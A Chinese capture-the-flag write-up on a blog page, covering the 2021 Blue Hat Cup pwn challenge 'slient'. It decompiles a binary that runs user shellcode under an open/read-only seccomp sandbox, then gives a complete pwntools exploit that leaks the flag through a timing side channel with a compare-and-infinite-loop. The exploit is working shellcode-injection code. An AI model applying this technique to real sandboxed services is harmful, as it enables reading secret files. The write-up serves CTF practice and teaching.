CTF-PWN-沙箱逃脱-【侧信道爆破】（2021-蓝帽杯初赛-slient）

文章目录

  • 侧信道攻击
  • 测信道爆破
  • 2021-蓝帽杯初赛-slient
  • 先自己准备个flag
  • 检查
  • 沙箱
  • IDA源码
    • main
    • sub_A60()
  • 相关知识
    • size_t getpagesize(void)
    • void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
    • range(i,j)
    • 编写相关shellcode
    • 发现
    • "'的用法
    • 此时爆破错误的异常
    • Python ASCII码与字符相互转换
  • 思路
    • 相关判断
  • exp
  • 结果

侧信道攻击

侧信道攻击是一种安全攻击手段，它利用物理信息泄露来获取加密系统的秘密信息，如密钥等。侧信道攻击通常涉及以下方面：

  • 电磁泄露：通过监测设备产生的电磁辐射来获取信息。
  • 时序分析：通过分析加密操作的执行时间来推断密钥。
  • 功率分析：也称为差分功耗分析（DPA），通过测量设备在处理不同数据时的功耗变化来推断密钥。
  • 声学泄露：通过分析设备发出的声音来获取信息。
  • 故障分析：故意引入错误或故障来破坏加密过程，从而获取关键信息。
  • 此外，在实际操作中，攻击者可能会逐位猜测密钥，并通过观察侧信道信息的变化来判断猜测是否正确。例如，如果攻击者猜测的字符与实际密钥的某一位相同，可能会导致加密设备在某个特定时刻产生特定的电磁信号、声音或功耗变化。通过这种方式，攻击者可以逐步推断出完整的密钥。

侧信道攻击是一种非正常的攻击手段，是一种利用计算机不经意间发出的声音来判断计算机的执行情况，比如通过散热器的响声大小来判断计算机所运行程序的复杂性；通过窃听敲击键盘的声音来及进行破译你所输入的是什么；或者说是通过计算机组件再执行某些程序的时候需要消耗不同的电量，来监视你的计算机。

测信道爆破

2021-蓝帽杯初赛-slient

先自己准备个flag

说烂了已经不说了

检查

在这里插入图片描述

沙箱

在这里插入图片描述
看出沙箱只运行open和read

IDA源码

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{unsigned int v3; // eax__int128 v4; // xmm0__int128 v5; // xmm1__int128 v6; // xmm2__int64 v8; // [rsp+48h] [rbp-68h]__int64 v9; // [rsp+50h] [rbp-60h]__int128 buf; // [rsp+60h] [rbp-50h] BYREF__int128 v11; // [rsp+70h] [rbp-40h]__int128 v12; // [rsp+80h] [rbp-30h]__int128 v13; // [rsp+90h] [rbp-20h]unsigned __int64 v14; // [rsp+A0h] [rbp-10h]v14 = __readfsqword(0x28u);sub_A60(a1, a2, a3);v13 = 0LL;v12 = 0LL;v11 = 0LL;buf = 0LL;puts("Welcome to silent execution-box.");v3 = getpagesize();v9 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);read(0, &buf, 0x40uLL);prctl(38, 1LL, 0LL, 0LL, 0LL);prctl(4, 0LL);v8 = seccomp_init(0LL);seccomp_rule_add(v8, 2147418112LL, 2LL, 0LL);seccomp_rule_add(v8, 2147418112LL, 0LL, 0LL);seccomp_load(v8);v4 = buf;v5 = v11;v6 = v12;*(_OWORD *)(v9 + 48) = v13;*(_OWORD *)(v9 + 32) = v6;*(_OWORD *)(v9 + 16) = v5;*(_OWORD *)v9 = v4;((void (__fastcall *)(__int64, __int64, __int64))v9)(3735928559LL, 3735928559LL, 3735928559LL);return 0LL;
}

即输入0x40的内容，然后执行该内容

sub_A60()

int sub_A60()
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);return setvbuf(stderr, 0LL, 2, 0LL);
}

相关知识

size_t getpagesize(void)

函数说明：返回一分页的大小，单位为字节(byte)。此为系统的分页大小，不一定会和硬件分页大小相同。

返回值：内存分页大小。

附加说明：在 Intel x86 上其返回值应为4096即0x1000

使用getpagesize函数获得一页内存大小

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

深入理解mmap

If addr is NULL, then the kernel chooses the (page-aligned)
address at which to create the mapping; this is the most portable
method of creating a new mapping. If addr is not NULL, then the
kernel takes it as a hint about where to place the mapping; on
Linux, the kernel will pick a nearby page boundary (but always
above or equal to the value specified by
/proc/sys/vm/mmap_min_addr) and attempt to create the mapping
there. If another mapping already exists there, the kernel picks
a new address that may or may not depend on the hint. The
address of the new mapping is returned as the result of the call.

Linux 为 mmap 分配虚拟内存时，总是从最接近 addr 的页边缘开始的，而且保证地址不低于 /proc/sys/vm/mmap_min_addr 所指定的值。
可以看到，mmap_min_addr = 65536 = 0x10000，因此刚才判断程序利用 mmap 函数在 0x10000 处开辟一个 page 的空间。

  • addr：指定映射区的起始地址。通常设置为 NULL，让系统自动选择合适的地址。如果设置了 MAP_FIXED 标志，则需要提供一个具体的地址。
  • length：映射区的长度，即要映射的内存大小，单位为字节。
  • prot：映射区的访问权限，可以是以下值的组合：
    PROT_READ：可读
    PROT_WRITE：可写
    PROT_EXEC：可执行
    PROT_NONE：不可访问
  • flags：映射区的属性，可以是以下值的组合：
    MAP_SHARED：对映射区的写入操作会写回到文件中
    MAP_PRIVATE：对映射区的写入操作不会写回到文件中
    MAP_FIXED：使用指定的映射起始地址，如果指定的地址无法成功建立映射，则调用失败
    fd：文件描述符，指定映射区的数据来源。如果为 -1，表示不关联任何文件。
  • offset：文件映射偏移量，表示从文件的哪个位置开始映射。通常设置为 0。
  • 返回值：
    成功时，返回映射区的起始地址；
    失败时，返回 MAP_FAILED（通常为 (void *)-1）。

range(i,j)

对应为i到j-1

编写相关shellcode

函数生成官方文档

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

发现

发现open内的参数同样为字符串时对应的shellcode会有所区别

在这里插入图片描述
当参数为字符串和无字符串时对应的内容也不同
在这里插入图片描述

"'的用法

三引号用法

此时爆破错误的异常

在这里插入图片描述

Python ASCII码与字符相互转换

在这里插入图片描述

思路

先打开文件然后读出文件内容到某个可访问的位置，然后再一一比较各个字节的字符。由于只能打开文件和读入文件，为了区分比较各个字节结果的对错，可以用到接受时的时间间隔。

如果比较成功了，那么程序将进入死循环（我们可以通过time这个模块来获取时间戳的差值），比如时间超过2秒那么我们对于flag的一个字节就爆破成功，超过两秒的原因是在未出现异常时设置了持续时间3秒的接收的操作，持续三秒后时间间隔肯定大于2秒，而出现异常的也就是没进入循环的（比较错误的）会出现异常。 同时配上python中的try和except这两个关键字就可以实现逐位的爆破。

相关判断

      try:f.recv(timeout=3)# python代码执行到这里时该语句持续三秒，啥都没有那么接受空,而此时如果比较正确，那么将持续三秒，如果出现异常，那么直接到异常处理，异常处理时间间隔小于2秒f.close()except:passf.close()end=time.time()if end-begin>2:flag=flag+chr(j)print("第",s,"位"+"到第",e-1,"位的内容：",flag)break

exp

需要注意的是，如果我们open的文件过多，系统会发生错误：OSError: [Errno 24] Too many open files，所以我们每次爆破的flag的字节数有限制，需要对索引进行调整
在这里插入图片描述
但我发现我的exp不会有这种情况
在这里插入图片描述

import time
from pwn  import*context(os="linux",arch="amd64",log_level="debug")#gdb.attach(f,"b main")s=0  #0 4 8  12 16 20 
e=4 #4 8 12 16 20 24 
flag=""
for i in range(s,e):for j in range(0x20,0x80):f=process("./chall")f.recvuntil(b"Welcome to silent execution-box.\n")payload=shellcraft.amd64.open("flag")payload=payload+shellcraft.amd64.read("rax",0x10080,30) # mmap分配按照一定规则分配，此时得到地址为0x10000payload=payload+'''loop:cmp byte ptr [0x10080+{0}],{1}je loop'''.format(i,j)f.sendline(asm(payload))begin=time.time()try:f.recv(timeout=3)# python代码执行到这里时该语句持续三秒，啥都没有那么接受空,而此时如果比较正确，那么将持续三秒，如果出现异常，那么直接到异常处理，异常处理时间间隔小于2秒f.close()except:passf.close()end=time.time()if end-begin>2:flag=flag+chr(j)print("第",s,"位"+"到第",e-1,"位的内容：",flag)break

结果

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/678228.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Nginx实战：3-日志按天分割

Nginx实战：3-日志按天分割

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 目录 前言 一、方式1：定时任务执行分割脚本 1.分割日志脚本 2.添加定时任务 二、方式2：logrotate配置分割 1.logrotate简单介绍 2.新增切割ngi…
阅读更多...
互联网加竞赛 基于深度学习的视频多目标跟踪实现

互联网加竞赛 基于深度学习的视频多目标跟踪实现

文章目录 1 前言2 先上成果3 多目标跟踪的两种方法3.1 方法13.2 方法2 4 Tracking By Detecting的跟踪过程4.1 存在的问题4.2 基于轨迹预测的跟踪方式 5 训练代码6 最后 1 前言 🔥 优质竞赛项目系列，今天要分享的是 基于深度学习的视频多目标跟踪实现 …
阅读更多...
k8s-深入理解Service(为Pod提供负载均衡和发现)

k8s-深入理解Service(为Pod提供负载均衡和发现)

一、Service存在的意义 二、Service的定义和创建 Pod与Service的关系 Service的定义和创建 三、Service使用NodePort对外暴露应用 四种类型，常用的三种： 指定Service的NodePort端口 在实际生产中，k8s的集群不会直接暴露在公网中&#xff0c…
阅读更多...
linux应用 进程间通信之信号量(System V)

linux应用 进程间通信之信号量(System V)

1、定义 System V 信号量是一种用于进程间同步和互斥的机制，它是 System V IPC（Inter-Process Communication，进程间通信）机制的一部分。信号量通常用于控制对共享资源的访问，以避免竞争条件（race conditi…
阅读更多...
2.9日学习打卡----初学RabbitMQ（四）

2.9日学习打卡----初学RabbitMQ（四）

2.9日学习打卡 一.RabbitMQ 死信队列 在MQ中，当消息成为死信（Dead message）后，消息中间件可以将其从当前队列发送到另一个队列中，这个队列就是死信队列。而在RabbitMQ中，由于有交换机的概念，实…
阅读更多...
每日五道java面试题之java基础篇（一）

每日五道java面试题之java基础篇（一）

第一题 什么是java? PS：碎怂 Java，有啥好介绍的。哦，⾯试啊。 Java 是⼀⻔⾯向对象的编程语⾔，不仅吸收了 C语⾔的各种优点，还摒弃了 C⾥难以理解的多继承、指针等概念，因此 Java 语⾔具有功能强⼤和简单易…
阅读更多...
【Linux系统 04】OpenEuler配置

【Linux系统 04】OpenEuler配置

目录 一、镜像文件下载 二、配置静态IP 三、启动SSH连接 四、免密登录 五、安装常用软件 一、镜像文件下载 官方下载地址：openEuler下载 | 欧拉系统ISO镜像 | openEuler社区官网 选择一个版本，lopenEuler通常有两种版本： 创新版&…
阅读更多...
vtkActor 设置特定图层 显示及置顶显示

vtkActor 设置特定图层 显示及置顶显示

问题，有时我们需要显示某个 Actor 在相机最前面，可以遮盖后面的物体;显示在顶层有点不准确；因为这个还相机位置也有关系； 这里讲三种情况： 1. 设置 Mapper 顶层，尝试了一下，可以用于某些场景&…
阅读更多...
Redis 双写一致性

Redis 双写一致性

问题：redis 作为缓存，mysql 的数据如何与 redis 进行同步呢？（双写一致性） 双写一致性是指当修改了数据库的数据也要同时更新缓存的数据，缓存和数据库的数据要保持一致。 读操作：缓存命中&…
阅读更多...
深入探究 HTTP 简化：httplib 库介绍

深入探究 HTTP 简化：httplib 库介绍

✏️心若有所向往，何惧道阻且长 文章目录 简介特性主要类介绍httplib::Server类httplib::Client类httplib::Request类httplib::Response类 示例服务器客户端 总结 简介 在当今的软件开发中，与网络通信相关的任务变得日益普遍。HTTP（Hypertext…
阅读更多...
备战蓝桥杯---数学基础2

备战蓝桥杯---数学基础2

学了常见的筛法，让我们看个题： 首先，我们知道欧拉筛复杂度为nlognlogn,这题可以承受，但是空间上存不了，而如果我们枚举1--n^1/2，复杂度不允许。 其实在枚举的方法中，我们只需找出有无在【2&…
阅读更多...
JavaScript脚本：async，defer

JavaScript脚本：async，defer

🧑‍🎓 个人主页：《爱蹦跶的大A阿》 🔥当前正在更新专栏：《VUE》 、《JavaScript保姆级教程》、《krpano》、《krpano中文文档》 ​ ​ ✨ 前言 JavaScript 脚本 是 web 开发中的重要组成部分，用于为网…
阅读更多...
vtk三维场景基本要素 灯光、相机、颜色、纹理映射 简介

vtk三维场景基本要素 灯光、相机、颜色、纹理映射 简介

整理一下VTK 三维场景基本要素，后面会一一进行整理； 1. 灯光 vtkLight 剧场里有各式各样的灯光，三维渲染场景中也一样，可以有多个灯光存在。灯光和相机 是三维渲染场景必备的要素，vtkRenderer会自动创建默认的灯光和…
阅读更多...
基于查询模板的知识图谱问答系统

基于查询模板的知识图谱问答系统

目录 前言1 知识图谱问答系统的两个核心问题1.1 问句的表示与语义理解1.2 知识库的映射和匹配 2 问答基本流程2.1 模板生成2.2 模板实例化2.3 查询排序和结果获取 3 模板自动生成3.1 quint方法3.2 对齐任务 4 基于查询模板的知识图谱问答系统优缺点4.1 系统的优点4.2 系统的缺点…
阅读更多...
阿里云游戏服务器租用费用价格组成，费用详单

阿里云游戏服务器租用费用价格组成，费用详单

阿里云游戏服务器租用价格表：4核16G服务器26元1个月、146元半年，游戏专业服务器8核32G配置90元一个月、271元3个月，阿里云服务器网aliyunfuwuqi.com分享阿里云游戏专用服务器详细配置和精准报价： 阿里云游戏服务器租用价格表 阿…
阅读更多...
gem5学习（19）：gem5内存系统——The gem5 Memory System

gem5学习（19）：gem5内存系统——The gem5 Memory System

目录 一、Model Hierarchy 二、CPU 三、Data Cache Object 四、Tags & Data Block 五、MSHR and Write Buffer Queues 六、Memory Access Ordering 七、Coherent Bus Object 八、Simple Memory Object 九、Message Flow 1、Memory Access Ordering（re…
阅读更多...
C++ shell - 在线 C++ 编译器

C++ shell - 在线 C++ 编译器

C shell - 在线 C 编译器 1. C shell2. Example program3. Options4. ExecutionReferences 1. C shell C Shell v2 https://cpp.sh/ https://cpp.sh/about.html C Shell v2, free online compiler, proudly uses emscripten to compile your code. emscripten is a clang-ba…
阅读更多...
【计算机网络】Web HTTP

【计算机网络】Web HTTP

Web和HTTP HTTP 超文本传输协议 HyperText Transfer Protocol HTTP使用TCP作为支撑传输协议 由一个客户程序和一个服务器程序实现一些常见名词。。。无状态协议 stateless protocol 不保存关于客户的任何信息非持续/持续链接 non-persistent con…
阅读更多...
【数据结构】双向链表(链表实现+测试+原码)

【数据结构】双向链表(链表实现+测试+原码)

前言 在双向链表之前，如果需要查看单链表来复习一下，链接在这里： http://t.csdnimg.cn/Ib5qS 1.双向链表 1.1 链表的分类 实际中链表的结构非常多样，以下情况组合起来就有8种链表结构： 1.1.1 单向或者双向 1.1.2 …
阅读更多...
【开源】JAVA+Vue.js实现车险自助理赔系统

【开源】JAVA+Vue.js实现车险自助理赔系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 角色管理模块2.3 车辆档案模块2.4 车辆理赔模块2.5 理赔照片模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 角色表3.2.2 车辆表3.2.3 理赔表3.2.4 理赔照片表 四、系统展示五、核心代码5.1 查询车…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023